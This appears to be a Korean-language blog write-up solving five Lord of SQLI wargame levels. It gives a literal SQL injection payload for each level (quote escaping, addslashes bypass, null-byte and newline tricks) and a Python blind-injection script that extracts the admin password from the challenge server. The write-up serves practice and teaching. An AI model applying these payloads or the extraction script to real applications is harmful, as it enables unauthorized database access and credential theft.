본문 바로가기
Wargame Write-Up/LOS

[Lord of SQLI] succubus, zombie_assassin, nightware, xavis, dragon 풀이

by snwo 2022. 2. 19.

succubus

id, pw 에서 ' (싱글쿼터)를 필터링하고있다.

그래서 \ (슬레시) 를 이용해야한다.

id 에\ 를 넣는다면,id='\' and pw='' 여기서 \' and pw= 부분이 id 가 되니 pw 에 or 문을 넣어서

임의 계정을 뽑아올 수 있다.

 

payload : id=\&pw=+or+1=1%23

 

zombie_assassin

addslashes 으로 sqli 를 막는 것처럼 보이는데,

' -> \' -> '\

이런식으로 변한다.

그래서 succubus 문제처럼 pw= 까지 id 로 인식하게 해서 풀면 된다.

근데 싱글쿼터를 넣으면 id=''\ 가 되어 쿼리가 망가지기 때문에,

더블쿼터를 넣어야 한다. pw 는 위에서 썼던거 꺼꾸로 입력하면 된다.

payload : id="&pw=%231=1+ro+

 

nightware

싱글쿼터, 닫은괄호로 escape 가 가능하다.

mysql 의 타입 캐스팅으로 ('')=0 -> 1 이 된다.

주석이 다 막혀있어서 ; 세미콜론으로 조건문을 끝내고, %00 널문자를 넣어서 뒤로는 인식하지 않게 한다.

payload : ')=0;%00

xavis

blind sqli 문제고, 일단 비밀번호의 길이는 12 다.

substr 로 아무리 구해도 안나오길래, 범위를 벗어났다고 생각됐다.

먼저 구해봤던 페이로드는 hex(substr(pw,1,1))=~~  인데, 이 방식으로 하려면 3바이트씩 구해야한다.

그래서 hex(pw) 에서 한 글자씩 읽어오기로 했다.

그래서 hex 화 한 pw 의 길이를 다시 구해보면, 24인 것을 알 수 있다.

import requests

url="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
param={'pw':'asdf'}
cookie={'PHPSESSID':'k30dmvb95d6cjf7i77jqo16t7m'}
hhh=list(map(ord,list("0123456789ABCDEF")))
print(hhh)
pw=''
for j in range(1,25):
	for i in hhh:
		param['pw']="' or id='admin' and ord(substr(hex(pw),{},1))={};#".format(j,i)
		r=requests.get(url,params=param,cookies=cookie)
		if r.text.find("Hello admin")!=-1:
			pw+=chr(i)
			print(f"{j} : {pw}")
			break
for i in range(0,len(pw),8):
	print(chr(int(pw[i:i+8],16)),end='')

헥스화 한 pw 에서 한 글자씩 읽어와 정수로 만든 뒤, 0부터 대문자 F 까지의 값을 ord 로 정수화 해서 비교했다.

8바이트씩 문자화 했더니 알아서 unicode 로 우왕굳을 출력해줬다.

dragon

pw 만 입력받는데, 앞에 주석이 있다.

그러면 %0a 를 입력해 개행한 뒤, or id='admin'# 을 입력해 admin 을 select 해주면 풀린다.

 

payload : pw='%0Aand pw='asdf' or id='admin'%23